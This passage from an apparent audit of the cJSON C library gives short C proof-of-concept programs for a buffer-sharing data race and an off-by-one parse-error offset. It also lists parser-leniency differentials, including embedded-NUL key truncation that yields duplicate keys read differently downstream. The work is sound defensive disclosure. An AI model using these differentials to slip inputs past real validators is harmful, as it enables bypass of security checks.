           (const void *)first, first == second, second);
    return 0;
}
both calls returned the same buffer at 0x104ad1ac0 (first==second: 1, contents "1.7.19")

Impact

Data race in two public functions.


Bug number 33 (incorrect error reporting)

Details

cJSON_ParseWithOpts() reports the wrong failure offset. parse_string() advances its input pointer past the opening quote before validating that the quote is actually there, and the failure path derives the reported offset from that already-advanced pointer.

Both return_parse_end and cJSON_GetErrorPtr() come out skewed by one.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"

int main(void)
{
    const char *json = "{xx}";
    const char *end = NULL;

    cJSON_ParseWithOpts(json, &end, 0);
    printf("return_parse_end offset %d (remaining \"%s\"), GetErrorPtr offset %d, expected 1\n",
           (int)(end - json), end, (int)(cJSON_GetErrorPtr() - json));
    return 0;
}
return_parse_end offset 2 (remaining "x}"), GetErrorPtr offset 2, expected 1

Impact

Inaccurate error reporting. No memory-safety consequence, but if you’re logging or rate-limiting on parse-failure position, it’s pointing a byte further along than you think.

Parser leniency

Everything in this section is real behaviour that I’m deliberately not counting among the 33, because cJSON either documents it or asserts it in its own test suite. It only matters if you’re using cJSON as a validating gatekeeper in front of a stricter parser, in which case these are parser differentials and you should know they’re there.

  • Raw control characters below 0x20 are accepted inside strings, which RFC 8259 §7 forbids. tests/parse_string.c:83 explicitly asserts this behaviour, so it’s deliberate.
  • Invalid UTF-8 is accepted and passed straight through, byte for byte. The documentation says so outright.
  • buffer_skip_whitespace() skips every byte <= 32 rather than just space, tab, CR and LF, so form feed, vertical tab, backspace and even an embedded NUL act as token separators. This one isn’t documented anywhere.
  • The number grammar isn’t enforced: 01 and 1. parse successfully even with require_null_terminated. .5, +1, 1e and 0x10 are correctly rejected, so the gap is specifically leading zeros and a trailing decimal point.
  • Strings can contain an embedded NUL via an escape for the zero code point, and cJSON stores them as plain C strings. The documentation says embedded NULs are unsupported. The consequence to know about is on the key side. A member whose name carries an embedded NUL compares equal to its shorter prefix under strcmp, so cJSON_GetObjectItem() matches it, and the document re-serialises with the name truncated. You end up with a duplicate-key document whose own reader disagrees with every last-wins parser downstream.

Running the JSONTestSuite corpus, 17 of 318 cases still fail. All 17 are over-acceptance; no valid input gets rejected. Ten are the number grammar, three are unescaped control characters, one is the invalid unicode escape from bug 27, two are NUL bytes, and the last is the form feed above.